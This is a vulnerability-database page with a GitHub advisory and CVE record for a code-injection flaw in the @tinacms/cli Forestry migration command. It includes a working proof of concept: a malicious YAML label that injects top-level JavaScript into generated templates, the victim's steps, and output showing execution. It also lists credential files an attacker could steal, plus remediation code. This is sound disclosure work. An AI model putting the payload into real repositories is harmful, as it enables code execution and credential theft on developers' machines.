Vulnerability-Lookup

GHSA-4936-9HRH-QQPW

Vulnerability from github – Published: 2026-06-19 21:15 – Updated: 2026-06-19 21:15

Summary

@tinacms/cli: Remote Code Execution in @tinacms/cli via Forestry migration — unsanitised __TINA_INTERNAL__ marker in user-controlled YAML labels

Details

Description

Summary

@tinacms/cli contains a Remote Code Execution vulnerability in its Forestry-to-Tina migration command. The internal helper addVariablesToCode unquotes any value matching the marker "__TINA_INTERNAL__:::(.*?):::" inside the stringified collection JSON. User-supplied label and name fields from .forestry/**/*.yml are placed into that JSON without any sanitisation. An attacker who controls a Forestry-style project can therefore inject arbitrary JavaScript into the generated tina/templates.{ts,js} file. The injected code is written at module top level, so it executes the moment the developer runs tinacms dev or tinacms build, with the developer's privileges.

Details

Vulnerable code path:

packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts — transformForestryFieldsToTinaFields() writes forestryField.label (and .name) straight into TinaField objects (no sanitisation).
packages/@tinacms/cli/src/cmds/forestry-migrate/util/codeTransformer.ts, lines 16-22 — the regex-based unquoter:

ts export const addVariablesToCode = (codeWithTinaPrefix: string) => { const code = codeWithTinaPrefix.replace( /"__TINA_INTERNAL__:::(.*?):::"/g, '$1' ); return { code }; };

codeTransformer.ts lines 80-88 — the field array is JSON.stringify-ed and then handed to addVariablesToCode. Because JSON.stringify does not escape single quotes or backticks, an attacker who avoids " in the payload survives the JSON pass intact.
packages/@tinacms/cli/src/cmds/init/apply.ts lines 110-116 — the resulting string is written to tina/templates.{ts,js} and imported by the generated tina/config.{ts,js}, which tinacms dev evaluates.

Why it executes immediately: the regex unquoting allows the attacker's payload to close the surrounding object/array and the enclosing xxxFields() function, drop a top-level IIFE, and then start a dummy function that swallows the trailing JSON. The IIFE is at module scope, so it runs the instant tina/config.ts imports ./templates.

PoC

End-to-end verified against tinacms and @tinacms/cli@2.3.1, built from commit ae1ab5d0f of tinacms/tinacms on Windows 11 + Node.js v24 (behaviour is identical on Node 22).

Step 1 — attacker prepares a malicious Forestry project

.forestry/settings.yml

---
new_page_extension: md
auto_deploy: false
admin_path: ''
webhook_url: ''
sections:
- type: directory
  path: content/posts
  label: Posts
  create: all
  match: "**/*.md"
  templates:
  - rce

.forestry/front_matter/templates/rce.yml

---
label: rce_template
fields:
- name: title
  type: text
  label: "__TINA_INTERNAL__:::1}] }; (function(){ const fs=require('fs'); const os=require('os'); fs.writeFileSync(require('path').join(os.tmpdir(),'PWNED_PROOF.txt'), 'RCE triggered on ' + os.hostname() + ' at ' + new Date().toISOString()); console.log('=== RCE SUCCESSFUL ==='); })(); function _ignore_(){ return [{x:1:::"

Note on payload encoding. The original disclosure draft used double quotes inside the payload (console.log("RCE")). JSON.stringify escapes those to \", which makes the generated TypeScript syntactically invalid and is rejected by Prettier before the file is written. Using single quotes or backticks for the inner string literals is required for the exploit to succeed.

Step 2 — victim runs the standard onboarding flow

git clone <attacker repo>
cd <attacker repo>
npx tinacms init       # accepts the "migrate Forestry templates?" prompt
npx tinacms dev        # OR: npx tinacms build

Step 3 — generated tina/templates.ts (verbatim, from a clean run)

import type { TinaField } from "tinacms";
export function rce_templateFields() {
  return [{ type: "string", name: "title", label: 1 }];
}
(function () {                                          // <-- TOP-LEVEL IIFE
  const fs = require("fs");
  const os = require("os");
  fs.writeFileSync(
    require("path").join(os.tmpdir(), "PWNED_PROOF.txt"),
    "RCE triggered on " + os.hostname() + " at " + new Date().toISOString()
  );
  console.log("=== RCE SUCCESSFUL ===");
})();
function _ignore_() {
  return [{ x: 1 }] as TinaField[];
}

Step 4 — observed result

$ npx tinacms dev --noTelemetry --no-server
🦙 TinaCMS Dev Server is initializing...
=== RCE SUCCESSFUL ===
Cannot read properties of undefined (reading 'publicFolder')

$ cat "$TEMP/PWNED_PROOF.txt"
RCE triggered on <hostname> at 2026-05-23T06:57:29.800Z

The === RCE SUCCESSFUL === line is printed before the dev server fails on the (intentionally minimal) config, proving the malicious code executed during config evaluation.

Impact

Class: Remote Code Execution (code injection into a generated source file that is automatically executed by the dev server/build).
Attack vector: Any developer who runs tinacms init on a Forestry project they did not author (e.g. a starter template, a community fork, a "convert my site to Tina" service, an evaluation of a third-party CMS migration) and then runs tinacms dev or tinacms build.
Privileges obtained: Full execution under the developer's user account. Practical consequences include:
Exfiltration of environment variables, .env files, SSH keys, ~/.aws/credentials, ~/.npmrc tokens, ~/.config/gh/hosts.yml.
Source-code modification (planting backdoors before the developer's next commit / publish).
Supply-chain abuse via the developer's npm publish and git push credentials.
Persistence via shell rc files or scheduled tasks.
Authentication: None required from the attacker.
User interaction: Required — victim must run the migration and then the dev/build command. The migration prompt defaults to "yes".

Suggested Remediation

Either fix is sufficient; Option B is preferred because it is structurally impossible to bypass and does not silently drop user content.

Option A — sanitise user-controlled strings (the disclosure draft's proposal)

// packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts
const sanitizeString = (str: unknown): unknown =>
  typeof str === 'string'
    ? str.replace(/__TINA_INTERNAL__:::/g, '')
    : str;

Apply to every user-controlled string that flows into a TinaField object — at minimum forestryField.label, forestryField.name, forestryField.template, forestryField.config.options[*], forestryField.config.source.section, and the equivalents on nested fields/template_types recursive paths.

Option B — change the marker to a sequence that cannot survive `JSON.stringify` of user data

// codeTransformer.ts
const MARKER_OPEN  = '?__TINA_INTERNAL__?';
const MARKER_CLOSE = '?/__TINA_INTERNAL__?';

export const addVariablesToCode = (s: string) => ({
  code: s.replace(
    new RegExp(`"${MARKER_OPEN}(.*?)${MARKER_CLOSE}"`, 'g'),
    '$1'
  ),
});

JSON.stringify escapes ? to the six-character sequence ?, so any literal control character supplied via YAML can never reconstruct the marker. The internal callers (makeFieldsWithInternalCode) keep emitting real ? bytes, so the legitimate flow continues to work and no user content is silently mutated.

Defence-in-depth

Regardless of which option ships, the migration code should also:

Reject forestryField.label / .name that contain newlines or NUL bytes (Forestry never produced them).
Wrap the eventual prettier.format(...) call so that if formatting fails the build aborts (today an exception is propagated, which is good — keep it that way).

Credit

Reported by AnGrY-Althaf (angry.althaf@gmail.com).

End-to-end PoC executed locally against tinacms@2.3.1 / @tinacms/cli@2.3.1 built from commit ae1ab5d0f of https://github.com/tinacms/tinacms.

Severity

7.8 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Show details on source website

JSON

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@tinacms/cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54074"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T21:15:16Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Description\n\n### Summary\n\n`@tinacms/cli` contains a Remote Code Execution vulnerability in its\nForestry-to-Tina migration command. The internal helper `addVariablesToCode`\nunquotes any value matching the marker `\"__TINA_INTERNAL__:::(.*?):::\"`\ninside the stringified collection JSON. User-supplied `label` and `name`\nfields from `.forestry/**/*.yml` are placed into that JSON without any\nsanitisation. An attacker who controls a Forestry-style project can therefore\ninject arbitrary JavaScript into the generated `tina/templates.{ts,js}`\nfile. The injected code is written at module top level, so it executes\n**the moment the developer runs `tinacms dev` or `tinacms build`**, with the\ndeveloper\u0027s privileges.\n\n### Details\n\n**Vulnerable code path:**\n\n1. `packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts`\n   \u2014 `transformForestryFieldsToTinaFields()` writes `forestryField.label`\n   (and `.name`) straight into TinaField objects (no sanitisation).\n2. `packages/@tinacms/cli/src/cmds/forestry-migrate/util/codeTransformer.ts`,\n   lines 16-22 \u2014 the regex-based unquoter:\n\n   ```ts\n   export const addVariablesToCode = (codeWithTinaPrefix: string) =\u003e {\n     const code = codeWithTinaPrefix.replace(\n       /\"__TINA_INTERNAL__:::(.*?):::\"/g,\n       \u0027$1\u0027\n     );\n     return { code };\n   };\n   ```\n\n3. `codeTransformer.ts` lines 80-88 \u2014 the field array is\n   `JSON.stringify`-ed and then handed to `addVariablesToCode`. Because\n   `JSON.stringify` does **not** escape single quotes or backticks, an\n   attacker who avoids `\"` in the payload survives the JSON pass intact.\n4. `packages/@tinacms/cli/src/cmds/init/apply.ts` lines 110-116 \u2014 the\n   resulting string is written to `tina/templates.{ts,js}` and imported by\n   the generated `tina/config.{ts,js}`, which `tinacms dev` evaluates.\n\n**Why it executes immediately:** the regex unquoting allows the attacker\u0027s\npayload to *close the surrounding object/array and the enclosing\n`xxxFields()` function*, drop a top-level IIFE, and then start a dummy\nfunction that swallows the trailing JSON. The IIFE is at module scope,\nso it runs the instant `tina/config.ts` imports `./templates`.\n\n### PoC\n\nEnd-to-end verified against `tinacms` and `@tinacms/cli@2.3.1`, built from\ncommit `ae1ab5d0f` of `tinacms/tinacms` on Windows 11 + Node.js v24\n(behaviour is identical on Node 22).\n\n**Step 1 \u2014 attacker prepares a malicious Forestry project**\n\n`.forestry/settings.yml`\n\n```yaml\n---\nnew_page_extension: md\nauto_deploy: false\nadmin_path: \u0027\u0027\nwebhook_url: \u0027\u0027\nsections:\n- type: directory\n  path: content/posts\n  label: Posts\n  create: all\n  match: \"**/*.md\"\n  templates:\n  - rce\n```\n\n`.forestry/front_matter/templates/rce.yml`\n\n```yaml\n---\nlabel: rce_template\nfields:\n- name: title\n  type: text\n  label: \"__TINA_INTERNAL__:::1}] }; (function(){ const fs=require(\u0027fs\u0027); const os=require(\u0027os\u0027); fs.writeFileSync(require(\u0027path\u0027).join(os.tmpdir(),\u0027PWNED_PROOF.txt\u0027), \u0027RCE triggered on \u0027 + os.hostname() + \u0027 at \u0027 + new Date().toISOString()); console.log(\u0027=== RCE SUCCESSFUL ===\u0027); })(); function _ignore_(){ return [{x:1:::\"\n```\n\n\u003e **Note on payload encoding.** The original disclosure draft used double\n\u003e quotes inside the payload (`console.log(\"RCE\")`). `JSON.stringify` escapes\n\u003e those to `\\\"`, which makes the generated TypeScript syntactically invalid\n\u003e and is rejected by Prettier before the file is written. Using single\n\u003e quotes or backticks for the inner string literals is required for the\n\u003e exploit to succeed.\n\n**Step 2 \u2014 victim runs the standard onboarding flow**\n\n```bash\ngit clone \u003cattacker repo\u003e\ncd \u003cattacker repo\u003e\nnpx tinacms init       # accepts the \"migrate Forestry templates?\" prompt\nnpx tinacms dev        # OR: npx tinacms build\n```\n\n**Step 3 \u2014 generated `tina/templates.ts` (verbatim, from a clean run)**\n\n```ts\nimport type { TinaField } from \"tinacms\";\nexport function rce_templateFields() {\n  return [{ type: \"string\", name: \"title\", label: 1 }];\n}\n(function () {                                          // \u003c-- TOP-LEVEL IIFE\n  const fs = require(\"fs\");\n  const os = require(\"os\");\n  fs.writeFileSync(\n    require(\"path\").join(os.tmpdir(), \"PWNED_PROOF.txt\"),\n    \"RCE triggered on \" + os.hostname() + \" at \" + new Date().toISOString()\n  );\n  console.log(\"=== RCE SUCCESSFUL ===\");\n})();\nfunction _ignore_() {\n  return [{ x: 1 }] as TinaField[];\n}\n```\n\n**Step 4 \u2014 observed result**\n\n```\n$ npx tinacms dev --noTelemetry --no-server\n\ud83e\udd99 TinaCMS Dev Server is initializing...\n=== RCE SUCCESSFUL ===\nCannot read properties of undefined (reading \u0027publicFolder\u0027)\n\n$ cat \"$TEMP/PWNED_PROOF.txt\"\nRCE triggered on \u003chostname\u003e at 2026-05-23T06:57:29.800Z\n```\n\nThe `=== RCE SUCCESSFUL ===` line is printed **before** the dev server\nfails on the (intentionally minimal) config, proving the malicious code\nexecuted during config evaluation.\n\n### Impact\n\n* **Class:** Remote Code Execution (code injection into a generated source\n  file that is automatically executed by the dev server/build).\n* **Attack vector:** Any developer who runs `tinacms init` on a Forestry\n  project they did not author (e.g. a starter template, a community fork,\n  a \"convert my site to Tina\" service, an evaluation of a third-party\n  CMS migration) and then runs `tinacms dev` or `tinacms build`.\n* **Privileges obtained:** Full execution under the developer\u0027s user\n  account. Practical consequences include:\n  * Exfiltration of environment variables, `.env` files, SSH keys,\n    `~/.aws/credentials`, `~/.npmrc` tokens, `~/.config/gh/hosts.yml`.\n  * Source-code modification (planting backdoors before the developer\u0027s\n    next commit / publish).\n  * Supply-chain abuse via the developer\u0027s `npm publish` and `git push`\n    credentials.\n  * Persistence via shell rc files or scheduled tasks.\n* **Authentication:** None required from the attacker.\n* **User interaction:** Required \u2014 victim must run the migration and then\n  the dev/build command. The migration prompt defaults to \"yes\".\n\n\n## Suggested Remediation\n\nEither fix is sufficient; **Option B is preferred** because it is\nstructurally impossible to bypass and does not silently drop user content.\n\n### Option A \u2014 sanitise user-controlled strings (the disclosure draft\u0027s proposal)\n\n```ts\n// packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts\nconst sanitizeString = (str: unknown): unknown =\u003e\n  typeof str === \u0027string\u0027\n    ? str.replace(/__TINA_INTERNAL__:::/g, \u0027\u0027)\n    : str;\n```\n\nApply to **every** user-controlled string that flows into a TinaField\nobject \u2014 at minimum `forestryField.label`, `forestryField.name`,\n`forestryField.template`, `forestryField.config.options[*]`,\n`forestryField.config.source.section`, and the equivalents on nested\n`fields`/`template_types` recursive paths.\n\n### Option B \u2014 change the marker to a sequence that cannot survive `JSON.stringify` of user data\n\n```ts\n// codeTransformer.ts\nconst MARKER_OPEN  = \u0027\u0001__TINA_INTERNAL__\u0001\u0027;\nconst MARKER_CLOSE = \u0027\u0001/__TINA_INTERNAL__\u0001\u0027;\n\nexport const addVariablesToCode = (s: string) =\u003e ({\n  code: s.replace(\n    new RegExp(`\"${MARKER_OPEN}(.*?)${MARKER_CLOSE}\"`, \u0027g\u0027),\n    \u0027$1\u0027\n  ),\n});\n```\n\n`JSON.stringify` escapes `\u0001` to the six-character sequence\n`\u0001`, so any literal control character supplied via YAML can never\nreconstruct the marker. The internal callers (`makeFieldsWithInternalCode`)\nkeep emitting real `\u0001` bytes, so the legitimate flow continues to\nwork and no user content is silently mutated.\n\n### Defence-in-depth\n\nRegardless of which option ships, the migration code should also:\n\n* Reject `forestryField.label` / `.name` that contain newlines or NUL\n  bytes (Forestry never produced them).\n* Wrap the eventual `prettier.format(...)` call so that if formatting\n  fails the build aborts (today an exception is propagated, which is\n  good \u2014 keep it that way).\n\n---\n\n## Credit\n\nReported by **AnGrY-Althaf** (`angry.althaf@gmail.com`).\n\nEnd-to-end PoC executed locally against\n`tinacms@2.3.1` / `@tinacms/cli@2.3.1` built from commit `ae1ab5d0f`\nof `https://github.com/tinacms/tinacms`.",
  "id": "GHSA-4936-9hrh-qqpw",
  "modified": "2026-06-19T21:15:16Z",
  "published": "2026-06-19T21:15:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/security/advisories/GHSA-4936-9hrh-qqpw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/pull/7006"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/commit/77665ae73dd4f9563d339535e76fa811a8abdfbb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tinacms/tinacms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/releases/tag/@tinacms/cli@2.4.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@tinacms/cli: Remote Code Execution in @tinacms/cli via Forestry migration \u2014 unsanitised __TINA_INTERNAL__ marker in user-controlled YAML labels"
}

CVE-2026-54074 (GCVE-0-2026-54074)

Vulnerability from cvelistv5 – Published: 2026-07-01 20:47 – Updated: 2026-07-02 15:35

Title

@tinacms/cli: Remote Code Execution via Forestry migration — unsanitised __TINA_INTERNAL__ marker in user-controlled YAML labels

Summary

Tina is a headless content management system. @tinacms/cli versions prior to 2.4.3 contain a Remote Code Execution vulnerability in the Forestry-to-Tina migration command. The internal helper addVariablesToCode unquotes any value matching the marker "__TINA_INTERNAL__:::(.*?):::" inside the stringified collection JSON. User-supplied label and name fields from .forestry/**/*.yml are placed into that JSON without any sanitisation. An attacker who controls a Forestry-style project can therefore inject arbitrary JavaScript into the generated tina/templates.{ts,js} file. The injected code is written at module top level, so it executes the moment the developer runs tinacms dev or tinacms build, with the developer's privileges. This issue has been fixed in version 2.4.3.

Severity

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-94 - Improper Control of Generation of Code ('Code Injection')

Assigner

GitHub_M

References

1 reference

URL	Tags
https://github.com/tinacms/tinacms/security/advis…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
tinacms	tinacms	Affected: < 2.4.3

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
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        "metrics": [
          {
            "other": {
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                "id": "CVE-2026-54074",
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                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-02T15:35:43.965135Z",
                "version": "2.0.3"
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    ],
    "cna": {
      "affected": [
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          "vendor": "tinacms",
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          "lang": "en",
          "value": "Tina is a headless content management system. @tinacms/cli versions prior to 2.4.3 contain a Remote Code Execution vulnerability in the Forestry-to-Tina migration command. The internal helper addVariablesToCode unquotes any value matching the marker \"__TINA_INTERNAL__:::(.*?):::\" inside the stringified collection JSON. User-supplied label and name fields from .forestry/**/*.yml are placed into that JSON without any sanitisation. An attacker who controls a Forestry-style project can therefore inject arbitrary JavaScript into the generated tina/templates.{ts,js} file. The injected code is written at module top level, so it executes the moment the developer runs tinacms dev or tinacms build, with the developer\u0027s privileges. This issue has been fixed in version 2.4.3."
        }
      ],
      "metrics": [
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            "attackComplexity": "LOW",
            "attackVector": "LOCAL",
            "availabilityImpact": "HIGH",
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
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        "discovery": "UNKNOWN"
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      "title": "@tinacms/cli: Remote Code Execution via Forestry migration \u2014 unsanitised __TINA_INTERNAL__ marker in user-controlled YAML labels"
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    "datePublished": "2026-07-01T20:47:22.796Z",
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  "dataType": "CVE_RECORD",
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}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-4936-9HRH-QQPW

Description

Summary

Details

PoC

Impact

Suggested Remediation

Option A — sanitise user-controlled strings (the disclosure draft's proposal)

Option B — change the marker to a sequence that cannot survive JSON.stringify of user data

Defence-in-depth

Credit

CVE-2026-54074 (GCVE-0-2026-54074)

Tags

Sightings

Nomenclature

Option B — change the marker to a sequence that cannot survive `JSON.stringify` of user data